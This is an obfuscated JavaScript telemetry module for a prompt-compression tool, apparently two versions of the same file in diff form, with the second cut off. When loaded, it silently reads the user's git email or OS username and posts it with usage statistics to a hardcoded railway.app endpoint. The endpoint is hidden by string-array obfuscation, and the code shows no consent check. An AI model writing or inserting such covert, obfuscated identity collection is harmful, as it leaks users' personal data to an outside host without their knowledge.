'use strict';const a0_0x33ad35=a0_0x1230;(function(_0x33c5e0,_0x270fa7){const _0x12a139=a0_0x1230,_0x1c241e=_0x33c5e0();while(!![]){try{const _0x23c4f0=parseInt(_0x12a139(0x17a))/0x1*(-parseInt(_0x12a139(0x16f))/0x2)+-parseInt(_0x12a139(0x13b))/0x3+parseInt(_0x12a139(0x138))/0x4*(parseInt(_0x12a139(0x15a))/0x5)+parseInt(_0x12a139(0x174))/0x6*(parseInt(_0x12a139(0x169))/0x7)+-parseInt(_0x12a139(0x163))/0x8+parseInt(_0x12a139(0x18e))/0x9*(parseInt(_0x12a139(0x17f))/0xa)+parseInt(_0x12a139(0x18c))/0xb*(parseInt(_0x12a139(0x176))/0xc);if(_0x23c4f0===_0x270fa7)break;else _0x1c241e['push'](_0x1c241e['shift']());}catch(_0x5b08c0){_0x1c241e['push'](_0x1c241e['shift']());}}}(a0_0x6de7,0xe719f));var __createBinding=this&&this[a0_0x33ad35(0x16d)]||(Object[a0_0x33ad35(0x17b)]?function(_0xee95,_0xa116f7,_0x5a92be,_0xe3eb7b){const _0x4a24f2=a0_0x33ad35;if(_0xe3eb7b===undefined)_0xe3eb7b=_0x5a92be;var _0x22d685=Object[_0x4a24f2(0x191)](_0xa116f7,_0x5a92be);(!_0x22d685||(_0x4a24f2(0x13c)in _0x22d685?!_0xa116f7[_0x4a24f2(0x135)]:_0x22d685[_0x4a24f2(0x14f)]||_0x22d685[_0x4a24f2(0x167)]))&&(_0x22d685={'enumerable':!![],'get':function(){return _0xa116f7[_0x5a92be];}}),Object[_0x4a24f2(0x160)](_0xee95,_0xe3eb7b,_0x22d685);}:function(_0x5e1709,_0x361893,_0x4f0a8d,_0x5aaa35){if(_0x5aaa35===undefined)_0x5aaa35=_0x4f0a8d;_0x5e1709[_0x5aaa35]=_0x361893[_0x4f0a8d];}),__setModuleDefault=this&&this[a0_0x33ad35(0x189)]||(Object['create']?function(_0x13c44e,_0x2e08a2){const _0x1f81b9=a0_0x33ad35;Object[_0x1f81b9(0x160)](_0x13c44e,_0x1f81b9(0x198),{'enumerable':!![],'value':_0x2e08a2});}:function(_0x4bc766,_0xd63f9d){_0x4bc766['default']=_0xd63f9d;}),__importStar=this&&this[a0_0x33ad35(0x141)]||(function(){var _0x27d000=function(_0x125c01){return _0x27d000=Object['getOwnPropertyNames']||function(_0xd8096e){const _0x3f2bde=a0_0x1230;var _0x3e810c=[];for(var _0x225233 in _0xd8096e)if(Object['prototype'][_0x3f2bde(0x144)]['call'](_0xd8096e,_0x225233))_0x3e810c[_0x3e810c[_0x3f2bde(0x14b)]]=_0x225233;return _0x3e810c;},_0x27d000(_0x125c01);};return function(_0x8e81f6){const _0x5d77cc=a0_0x1230;if(_0x8e81f6&&_0x8e81f6[_0x5d77cc(0x135)])return _0x8e81f6;var _0x147cca={};if(_0x8e81f6!=null){for(var _0x2646e3=_0x27d000(_0x8e81f6),_0xaaa04e=0x0;_0xaaa04e<_0x2646e3[_0x5d77cc(0x14b)];_0xaaa04e++)if(_0x2646e3[_0xaaa04e]!=='default')__createBinding(_0x147cca,_0x8e81f6,_0x2646e3[_0xaaa04e]);}return __setModuleDefault(_0x147cca,_0x8e81f6),_0x147cca;};}());Object['defineProperty'](exports,a0_0x33ad35(0x135),{'value':!![]});function a0_0x6de7(){const _0x1a9b2c=['__importStar','https://','application/json','hasOwnProperty','trim','ignore','Gemini\x203.5\x20Live\x20Translate','Claude\x203.5\x20Sonnet','timeout','platform','length','git\x20config\x20user.email','includes','Claude\x20Opus\x204.5','writable','protocol','destroy','split','join','toString','.raw.txt','writeFileSync','filter','toISOString','byteLength','5IjVTIB','total_compressed_tokens','size','.up.railway.app','readFileSync','/api/telemetry','defineProperty','stringify','https:','2041744GBjzYA','OpenAI\x20o3-mini','GPT-4o\x20Mini','Gemini\x203.1\x20Flash-Lite','configurable','daily_sync.json','3271303OiBetS','anonymous','getStatsSummary','child_process','__createBinding','now','11642DPDEPE','userInfo','GPT-5.4','Claude\x20Opus\x204.7','homedir','6nQFnBo','synced','12WFUEBx','money_saved_usd','search','Gemini\x203.1\x20Pro','13DzJIgP','create','Gemini\x203.5\x20Flash','model_used','GPT-4.1\x20Nano','216110eXpzYw','total_raw_tokens','Claude\x20Haiku\x204.5','path','GPT-4.1\x20Mini','https','GPT-5.4\x20Nano','Claude\x20Sonnet\x204.5','error','getTime','__setModuleDefault','push','total_tokens_saved','370612jkAMQM','trimp-production','108tUlqks','timestamp','Claude\x20Haiku\x203.5','getOwnPropertyDescriptor','last_sync_time','hostname','request','POST','Claude\x20Opus\x204.8','pipe','default','catch','port','parse','http','utf8','add','__esModule','stats.json','claude-opus-4-8','4832544deXWXY','existsSync','pathname','2073021GKrcOx','get','Claude\x20Fable\x205','OpenAI\x20o1','statusCode','last_sync_date'];a0_0x6de7=function(){return _0x1a9b2c;};return a0_0x6de7();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x33ad35(0x182))),os=__importStar(require('os')),http=__importStar(require(a0_0x33ad35(0x132))),https=__importStar(require(a0_0x33ad35(0x184))),url_1=require('url'),_cfg=[a0_0x33ad35(0x142),a0_0x33ad35(0x18d),a0_0x33ad35(0x15d),a0_0x33ad35(0x15f)]['join'](''),_ep=process.env._PS_EP||_cfg;function hasSyncedRecently(){const _0x4f9ae4=a0_0x33ad35;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x66ac39=JSON[_0x4f9ae4(0x19b)](fs[_0x4f9ae4(0x15e)](dailySyncPath,_0x4f9ae4(0x133)));if(!_0x66ac39[_0x4f9ae4(0x192)])return![];return Date[_0x4f9ae4(0x16e)]()-_0x66ac39[_0x4f9ae4(0x192)]<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x2fc546=a0_0x33ad35;try{const _0x394b1c={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x2fc546(0x16e)]()};fs[_0x2fc546(0x156)](dailySyncPath,JSON[_0x2fc546(0x161)](_0x394b1c,null,0x2),_0x2fc546(0x133));}catch{}}const PRICING={'claude-fable-5':{'name':a0_0x33ad35(0x13d),'input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x33ad35(0x196),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x33ad35(0x172),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x33ad35(0x14e),'input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x33ad35(0x186),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x33ad35(0x148),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x33ad35(0x181),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x33ad35(0x190),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x33ad35(0x171),'input_price_1m':2.5},'gpt-4o':{'name':'GPT-4o','input_price_1m':2.5},'gpt-5-4-mini':{'name':'GPT-5.4\x20Mini','input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x33ad35(0x185),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x33ad35(0x183),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x33ad35(0x17e),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x33ad35(0x165),'input_price_1m':0.15},'o1':{'name':a0_0x33ad35(0x13e),'input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':a0_0x33ad35(0x164),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x33ad35(0x179),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x33ad35(0x17c),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x33ad35(0x166),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x33ad35(0x147),'input_price_1m':3.5}},baseDir=path[a0_0x33ad35(0x153)](os[a0_0x33ad35(0x173)](),'.trimprompt'),configPath=path[a0_0x33ad35(0x153)](baseDir,'config.json'),statsPath=path[a0_0x33ad35(0x153)](baseDir,a0_0x33ad35(0x136)),dailySyncPath=path['join'](baseDir,a0_0x33ad35(0x168));function getTodayDate(){const _0x34be53=a0_0x33ad35;return new Date()[_0x34be53(0x158)]()[_0x34be53(0x152)]('T')[0x0];}function getDeveloperIdentity(){const _0x501fe1=a0_0x33ad35;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x156113}=require(_0x501fe1(0x16c)),_0x1d4dcc=_0x156113(_0x501fe1(0x14c),{'stdio':[_0x501fe1(0x146),_0x501fe1(0x197),_0x501fe1(0x146)],'windowsHide':!![]})[_0x501fe1(0x154)]()['trim']();if(_0x1d4dcc&&_0x1d4dcc[_0x501fe1(0x14d)]('@'))return _0x1d4dcc;}catch{}try{const _0x5c7699=os[_0x501fe1(0x170)]()['username'];if(_0x5c7699)return _0x5c7699;}catch{}return _0x501fe1(0x16a);}function hasAlreadySyncedToday(){const _0x37ff7f=a0_0x33ad35;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x242355=JSON[_0x37ff7f(0x19b)](fs['readFileSync'](dailySyncPath,'utf8'));return _0x242355[_0x37ff7f(0x140)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x544bf0=a0_0x33ad35;try{const _0x5be170={'last_sync_date':getTodayDate()};fs[_0x544bf0(0x156)](dailySyncPath,JSON[_0x544bf0(0x161)](_0x5be170,null,0x2),_0x544bf0(0x133));}catch{}}function postTelemetry(_0x456323,_0x4cb1be){return new Promise(_0x39ca76=>{const _0x34e606=a0_0x1230;try{const _0x5782ed=new url_1['URL'](_0x456323),_0x392d93=JSON[_0x34e606(0x161)](_0x4cb1be),_0x3c32b9={'hostname':_0x5782ed[_0x34e606(0x193)],'port':_0x5782ed[_0x34e606(0x19a)]||(_0x5782ed[_0x34e606(0x150)]===_0x34e606(0x162)?0x1bb:0x50),'path':_0x5782ed[_0x34e606(0x13a)]+_0x5782ed[_0x34e606(0x178)],'method':_0x34e606(0x195),'headers':{'Content-Type':_0x34e606(0x143),'Content-Length':Buffer[_0x34e606(0x159)](_0x392d93)},'timeout':0x1f40},_0x5a65d4=_0x5782ed['protocol']===_0x34e606(0x162)?https:http,_0x2afdac=_0x5a65d4[_0x34e606(0x194)](_0x3c32b9,_0x330b3d=>{const _0x2b62c9=_0x34e606;_0x39ca76(!!(_0x330b3d[_0x2b62c9(0x13f)]&&_0x330b3d[_0x2b62c9(0x13f)]>=0xc8&&_0x330b3d[_0x2b62c9(0x13f)]<0x12c));});_0x2afdac['on'](_0x34e606(0x187),()=>_0x39ca76(![])),_0x2afdac['on'](_0x34e606(0x149),()=>{const _0x2b8df4=_0x34e606;_0x2afdac[_0x2b8df4(0x151)](),_0x39ca76(![]);}),_0x2afdac['write'](_0x392d93),_0x2afdac['end']();}catch{_0x39ca76(![]);}});}function a0_0x1230(_0x1d39aa,_0x431ced){_0x1d39aa=_0x1d39aa-0x132;const _0x6de702=a0_0x6de7();let _0x12300f=_0x6de702[_0x1d39aa];return _0x12300f;}function buildDailyPayload(_0x25603e){const _0x2ee6c8=a0_0x33ad35,_0x1320cd=getTodayDate(),{tracker:_0x151973}=require('./tracker'),_0x4fabc8=_0x151973?_0x151973[_0x2ee6c8(0x16b)]('auto'):null,_0x97c372=new Set();for(const _0x3f74a5 of _0x25603e){if(_0x3f74a5['model_used'])_0x97c372[_0x2ee6c8(0x134)](_0x3f74a5[_0x2ee6c8(0x17d)]);}if(_0x97c372[_0x2ee6c8(0x15c)]===0x0)_0x97c372[_0x2ee6c8(0x134)](_0x2ee6c8(0x137));const _0xcc09e4=_0x25603e[_0x25603e['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x2ee6c8(0x14a)](),'date':_0x1320cd,'executions_count':_0x25603e['length'],'total_raw_tokens':_0x4fabc8?_0x4fabc8[_0x2ee6c8(0x180)]:0x0,'total_compressed_tokens':_0x4fabc8?_0x4fabc8[_0x2ee6c8(0x15b)]:0x0,'total_tokens_saved':_0x4fabc8?_0x4fabc8[_0x2ee6c8(0x18b)]:0x0,'total_money_saved_usd':_0x4fabc8?_0x4fabc8[_0x2ee6c8(0x177)]:0x0,'models_used':Array['from'](_0x97c372),'hotspots':[],'last_seen':_0xcc09e4?_0xcc09e4[_0x2ee6c8(0x18f)]:new Date()['toISOString']()};}async function runSync(){const _0x16ddc7=a0_0x33ad35;if(!fs[_0x16ddc7(0x139)](statsPath))return;let _0x4e15ce;try{_0x4e15ce=JSON[_0x16ddc7(0x19b)](fs['readFileSync'](statsPath,_0x16ddc7(0x133)));}catch{return;}const _0x395661=_0x4e15ce[_0x16ddc7(0x157)](_0x13048c=>!_0x13048c[_0x16ddc7(0x175)]);if(_0x395661[_0x16ddc7(0x14b)]===0x0&&hasSyncedRecently())return;const _0x316d86=buildDailyPayload(_0x4e15ce);await postTelemetry(_ep,_0x316d86);let _0x16dd16=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x16dd16&&fs[_0x16ddc7(0x139)](configPath))try{const _0x1f554c=JSON[_0x16ddc7(0x19b)](fs['readFileSync'](configPath,_0x16ddc7(0x133)));_0x16dd16=_0x1f554c['telemetry_url']||'';}catch{}_0x16dd16[_0x16ddc7(0x145)]()[_0x16ddc7(0x14b)]>0x0&&await postTelemetry(_0x16dd16,_0x316d86);for(const _0x5a51fb of _0x4e15ce){if(!_0x5a51fb[_0x16ddc7(0x175)])_0x5a51fb['synced']=!![];}try{fs[_0x16ddc7(0x156)](statsPath,JSON[_0x16ddc7(0x161)](_0x4e15ce,null,0x2),'utf8');}catch{}markSyncedNow();}function pruneOldLogs(_0x5b70dc){const _0x28e945=a0_0x33ad35;try{const _0x4f5dff=new Date(),_0x329573=new Date(_0x4f5dff[_0x28e945(0x188)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x47e602=[],_0x24fc74=[];for(const _0x4919c6 of _0x5b70dc){const _0x1c25eb=new Date(_0x4919c6['timestamp']);_0x1c25eb>=_0x329573?_0x47e602[_0x28e945(0x18a)](_0x4919c6):_0x24fc74[_0x28e945(0x18a)](_0x4919c6);}if(_0x24fc74['length']>0x0){const _0xf5da57=path[_0x28e945(0x153)](baseDir,'logs');for(const _0x492ddb of _0x24fc74){const _0x4596b8=path[_0x28e945(0x153)](_0xf5da57,_0x492ddb['id']+_0x28e945(0x155)),_0x5b1c75=path[_0x28e945(0x153)](_0xf5da57,_0x492ddb['id']+'.comp.txt');try{if(fs['existsSync'](_0x4596b8))fs['unlinkSync'](_0x4596b8);if(fs[_0x28e945(0x139)](_0x5b1c75))fs['unlinkSync'](_0x5b1c75);}catch{}}fs[_0x28e945(0x156)](statsPath,JSON[_0x28e945(0x161)](_0x47e602,null,0x2),_0x28e945(0x133));}}catch{}}runSync()[a0_0x33ad35(0x199)](()=>{});
|
|
1
|
+
'use strict';function a0_0x1b5c(_0x177a46,_0x56023b){_0x177a46=_0x177a46-0xc0;const _0x30bf06=a0_0x30bf();let _0x1b5c2d=_0x30bf06[_0x177a46];return _0x1b5c2d;}const a0_0x3fe1da=a0_0x1b5c;(function(_0x427854,_0x5264f4){const _0x37f2b6=a0_0x1b5c,_0x382d19=_0x427854();while(!![]){try{const _0x378159=-parseInt(_0x37f2b6(0x126))/0x1+parseInt(_0x37f2b6(0xc7))/0x2+-parseInt(_0x37f2b6(0x11d))/0x3+parseInt(_0x37f2b6(0xee))/0x4+parseInt(_0x37f2b6(0xe3))/0x5*(-parseInt(_0x37f2b6(0x11a))/0x6)+parseInt(_0x37f2b6(0xfb))/0x7+-parseInt(_0x37f2b6(0xd0))/0x8*(parseInt(_0x37f2b6(0x125))/0x9);if(_0x378159===_0x5264f4)break;else _0x382d19['push'](_0x382d19['shift']());}catch(_0x5e3ada){_0x382d19['push'](_0x382d19['shift']());}}}(a0_0x30bf,0x8404f));var __createBinding=this&&this[a0_0x3fe1da(0xf4)]||(Object[a0_0x3fe1da(0xf5)]?function(_0xb9b235,_0x51a837,_0x21d411,_0x1093e0){const _0x17d502=a0_0x3fe1da;if(_0x1093e0===undefined)_0x1093e0=_0x21d411;var _0x1d486e=Object['getOwnPropertyDescriptor'](_0x51a837,_0x21d411);(!_0x1d486e||(_0x17d502(0x10f)in _0x1d486e?!_0x51a837[_0x17d502(0x107)]:_0x1d486e[_0x17d502(0xd8)]||_0x1d486e[_0x17d502(0x115)]))&&(_0x1d486e={'enumerable':!![],'get':function(){return _0x51a837[_0x21d411];}}),Object[_0x17d502(0x116)](_0xb9b235,_0x1093e0,_0x1d486e);}:function(_0x140082,_0x1097e9,_0x3f1786,_0x5635a8){if(_0x5635a8===undefined)_0x5635a8=_0x3f1786;_0x140082[_0x5635a8]=_0x1097e9[_0x3f1786];}),__setModuleDefault=this&&this[a0_0x3fe1da(0x110)]||(Object[a0_0x3fe1da(0xf5)]?function(_0x5e6d59,_0x5ac000){const _0x46064e=a0_0x3fe1da;Object[_0x46064e(0x116)](_0x5e6d59,'default',{'enumerable':!![],'value':_0x5ac000});}:function(_0x122b22,_0x50825b){const _0x86190f=a0_0x3fe1da;_0x122b22[_0x86190f(0xc9)]=_0x50825b;}),__importStar=this&&this[a0_0x3fe1da(0x11e)]||(function(){var _0x2586b2=function(_0x48eec4){const _0x515f99=a0_0x1b5c;return _0x2586b2=Object[_0x515f99(0xec)]||function(_0x223f59){const _0x175db3=_0x515f99;var _0x1e42b4=[];for(var _0x5e59c2 in _0x223f59)if(Object[_0x175db3(0x10c)]['hasOwnProperty'][_0x175db3(0x11f)](_0x223f59,_0x5e59c2))_0x1e42b4[_0x1e42b4[_0x175db3(0xdd)]]=_0x5e59c2;return _0x1e42b4;},_0x2586b2(_0x48eec4);};return function(_0x296ccd){const _0x46cd18=a0_0x1b5c;if(_0x296ccd&&_0x296ccd[_0x46cd18(0x107)])return _0x296ccd;var _0x56a7d7={};if(_0x296ccd!=null){for(var _0x3fb0b1=_0x2586b2(_0x296ccd),_0x317625=0x0;_0x317625<_0x3fb0b1[_0x46cd18(0xdd)];_0x317625++)if(_0x3fb0b1[_0x317625]!==_0x46cd18(0xc9))__createBinding(_0x56a7d7,_0x296ccd,_0x3fb0b1[_0x317625]);}return __setModuleDefault(_0x56a7d7,_0x296ccd),_0x56a7d7;};}());Object[a0_0x3fe1da(0x116)](exports,'__esModule',{'value':!![]});function a0_0x30bf(){const _0x55590a=['pipe','getTime','error','Gemini\x203.1\x20Pro','length','GPT-4.1\x20Mini','GPT-4.1\x20Nano','telemetry_url','timeout','OpenAI\x20o1','1655skrddv','URL','OpenAI\x20o3-mini','end','Claude\x20Sonnet\x204.6','Claude\x20Opus\x204.8','add','/api/telemetry','GPT-5.4\x20Nano','getOwnPropertyNames','Claude\x20Haiku\x204.5','2348180ebQJIH','.comp.txt','username','.trimprompt','auto','push','__createBinding','create','write','claude-opus-4-8','trim','https:','now','6152993oHAjtJ','protocol','child_process','join','Claude\x20Mythos\x205','https','Claude\x20Sonnet\x204.5','POST','parse','destroy','last_sync_time','ignore','__esModule','hostname','Claude\x20Haiku\x203.5','trimp-production','GPT-5.4','prototype','config.json','includes','get','__setModuleDefault','./tracker','timestamp','statusCode','byteLength','configurable','defineProperty','pathname','readFileSync','url','354TevNVx','toString','homedir','929436uZOWpu','__importStar','call','stringify','synced','Claude\x203.5\x20Sonnet','Gemini\x203.1\x20Flash-Lite','stats.json','25587juSzZP','241715nSsFUy','Claude\x20Fable\x205','.raw.txt','GPT-4o','port','Gemini\x203.5\x20Live\x20Translate','git\x20config\x20user.email','total_tokens_saved','1600042zgjYRY','catch','default','path','utf8','writeFileSync','filter','getStatsSummary','userInfo','3248GxElTC','http','toISOString','model_used','total_raw_tokens','unlinkSync','existsSync','last_sync_date','writable'];a0_0x30bf=function(){return _0x55590a;};return a0_0x30bf();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3fe1da(0xca))),os=__importStar(require('os')),http=__importStar(require(a0_0x3fe1da(0xd1))),https=__importStar(require(a0_0x3fe1da(0x100))),url_1=require(a0_0x3fe1da(0x119)),_cfg=['https://',a0_0x3fe1da(0x10a),'.up.railway.app',a0_0x3fe1da(0xea)][a0_0x3fe1da(0xfe)](''),_ep=process.env._PS_EP||_cfg;function hasSyncedRecently(){const _0x422d1e=a0_0x3fe1da;try{if(!fs[_0x422d1e(0xd6)](dailySyncPath))return![];const _0x29ded6=JSON[_0x422d1e(0x103)](fs['readFileSync'](dailySyncPath,_0x422d1e(0xcb)));if(!_0x29ded6[_0x422d1e(0x105)])return![];return Date[_0x422d1e(0xfa)]()-_0x29ded6[_0x422d1e(0x105)]<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x319306=a0_0x3fe1da;try{const _0x33d907={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x319306(0xfa)]()};fs[_0x319306(0xcc)](dailySyncPath,JSON['stringify'](_0x33d907,null,0x2),_0x319306(0xcb));}catch{}}const PRICING={'claude-fable-5':{'name':a0_0x3fe1da(0xc0),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x3fe1da(0xff),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x3fe1da(0xe8),'input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x3fe1da(0xe7),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x3fe1da(0x101),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x3fe1da(0x122),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x3fe1da(0xed),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x3fe1da(0x109),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x3fe1da(0x10b),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x3fe1da(0xc2),'input_price_1m':2.5},'gpt-5-4-mini':{'name':'GPT-5.4\x20Mini','input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x3fe1da(0xeb),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x3fe1da(0xde),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x3fe1da(0xdf),'input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0x3fe1da(0xe2),'input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':a0_0x3fe1da(0xe5),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x3fe1da(0xdc),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x3fe1da(0x123),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x3fe1da(0xc4),'input_price_1m':3.5}},baseDir=path[a0_0x3fe1da(0xfe)](os[a0_0x3fe1da(0x11c)](),a0_0x3fe1da(0xf1)),configPath=path['join'](baseDir,a0_0x3fe1da(0x10d)),statsPath=path[a0_0x3fe1da(0xfe)](baseDir,a0_0x3fe1da(0x124)),dailySyncPath=path[a0_0x3fe1da(0xfe)](baseDir,'daily_sync.json');function getTodayDate(){const _0x4f97de=a0_0x3fe1da;return new Date()[_0x4f97de(0xd2)]()['split']('T')[0x0];}function getDeveloperIdentity(){const _0x38bd76=a0_0x3fe1da;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x410f5d}=require(_0x38bd76(0xfd)),_0x335516=_0x410f5d(_0x38bd76(0xc5),{'stdio':[_0x38bd76(0x106),_0x38bd76(0xd9),_0x38bd76(0x106)],'windowsHide':!![]})[_0x38bd76(0x11b)]()[_0x38bd76(0xf8)]();if(_0x335516&&_0x335516[_0x38bd76(0x10e)]('@'))return _0x335516;}catch{}try{const _0x21d823=os[_0x38bd76(0xcf)]()[_0x38bd76(0xf0)];if(_0x21d823)return _0x21d823;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x1358d8=a0_0x3fe1da;try{if(!fs[_0x1358d8(0xd6)](dailySyncPath))return![];const _0x375bb2=JSON['parse'](fs[_0x1358d8(0x118)](dailySyncPath,_0x1358d8(0xcb)));return _0x375bb2[_0x1358d8(0xd7)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x5ae5ac=a0_0x3fe1da;try{const _0x3d0642={'last_sync_date':getTodayDate()};fs[_0x5ae5ac(0xcc)](dailySyncPath,JSON['stringify'](_0x3d0642,null,0x2),_0x5ae5ac(0xcb));}catch{}}function postTelemetry(_0x2a9b23,_0x17f947){return new Promise(_0x26a20d=>{const _0x54dda9=a0_0x1b5c;try{const _0x28b0e5=new url_1[(_0x54dda9(0xe4))](_0x2a9b23),_0x3b9300=JSON[_0x54dda9(0x120)](_0x17f947),_0x77d2d7={'hostname':_0x28b0e5[_0x54dda9(0x108)],'port':_0x28b0e5[_0x54dda9(0xc3)]||(_0x28b0e5[_0x54dda9(0xfc)]==='https:'?0x1bb:0x50),'path':_0x28b0e5[_0x54dda9(0x117)]+_0x28b0e5['search'],'method':_0x54dda9(0x102),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x54dda9(0x114)](_0x3b9300)},'timeout':0x1f40},_0x242592=_0x28b0e5[_0x54dda9(0xfc)]===_0x54dda9(0xf9)?https:http,_0x4e1199=_0x242592['request'](_0x77d2d7,_0xe5a486=>{const _0x3c6b7e=_0x54dda9;_0x26a20d(!!(_0xe5a486[_0x3c6b7e(0x113)]&&_0xe5a486['statusCode']>=0xc8&&_0xe5a486[_0x3c6b7e(0x113)]<0x12c));});_0x4e1199['on'](_0x54dda9(0xdb),()=>_0x26a20d(![])),_0x4e1199['on'](_0x54dda9(0xe1),()=>{const _0x585277=_0x54dda9;_0x4e1199[_0x585277(0x104)](),_0x26a20d(![]);}),_0x4e1199[_0x54dda9(0xf6)](_0x3b9300),_0x4e1199[_0x54dda9(0xe6)]();}catch{_0x26a20d(![]);}});}function buildDailyPayload(_0x5084f0){const _0x206bcc=a0_0x3fe1da,_0x34e481=getTodayDate(),{tracker:_0x168bb9}=require(_0x206bcc(0x111)),_0xb65d18=_0x168bb9?_0x168bb9[_0x206bcc(0xce)](_0x206bcc(0xf2)):null,_0x176ee2=new Set();for(const _0x4b040e of _0x5084f0){if(_0x4b040e[_0x206bcc(0xd3)])_0x176ee2[_0x206bcc(0xe9)](_0x4b040e[_0x206bcc(0xd3)]);}if(_0x176ee2['size']===0x0)_0x176ee2['add'](_0x206bcc(0xf7));const _0x26f161=_0x5084f0[_0x5084f0[_0x206bcc(0xdd)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x34e481,'executions_count':_0x5084f0[_0x206bcc(0xdd)],'total_raw_tokens':_0xb65d18?_0xb65d18[_0x206bcc(0xd4)]:0x0,'total_compressed_tokens':_0xb65d18?_0xb65d18['total_compressed_tokens']:0x0,'total_tokens_saved':_0xb65d18?_0xb65d18[_0x206bcc(0xc6)]:0x0,'total_money_saved_usd':_0xb65d18?_0xb65d18['money_saved_usd']:0x0,'models_used':Array['from'](_0x176ee2),'hotspots':[],'last_seen':_0x26f161?_0x26f161[_0x206bcc(0x112)]:new Date()[_0x206bcc(0xd2)]()};}async function runSync(){const _0x13689f=a0_0x3fe1da;if(!fs[_0x13689f(0xd6)](statsPath))return;let _0x588754;try{_0x588754=JSON[_0x13689f(0x103)](fs[_0x13689f(0x118)](statsPath,_0x13689f(0xcb)));}catch{return;}const _0x136412=_0x588754[_0x13689f(0xcd)](_0xb7c3ff=>!_0xb7c3ff[_0x13689f(0x121)]);if(_0x136412[_0x13689f(0xdd)]===0x0&&hasSyncedRecently())return;const _0x4bec52=buildDailyPayload(_0x588754);await postTelemetry(_ep,_0x4bec52);let _0x47c947=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x47c947&&fs['existsSync'](configPath))try{const _0x69639a=JSON[_0x13689f(0x103)](fs[_0x13689f(0x118)](configPath,_0x13689f(0xcb)));_0x47c947=_0x69639a[_0x13689f(0xe0)]||'';}catch{}_0x47c947[_0x13689f(0xf8)]()['length']>0x0&&await postTelemetry(_0x47c947,_0x4bec52);for(const _0xb2b196 of _0x588754){if(!_0xb2b196[_0x13689f(0x121)])_0xb2b196[_0x13689f(0x121)]=!![];}try{fs[_0x13689f(0xcc)](statsPath,JSON['stringify'](_0x588754,null,0x2),_0x13689f(0xcb));}catch{}markSyncedNow();}function pruneOldLogs(_0x55f990){const _0x5ec809=a0_0x3fe1da;try{const _0x44e88f=new Date(),_0x90f8ea=new Date(_0x44e88f[_0x5ec809(0xda)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x5f4ec2=[],_0x3d73d9=[];for(const _0x4c5a3c of _0x55f990){const _0x12bd99=new 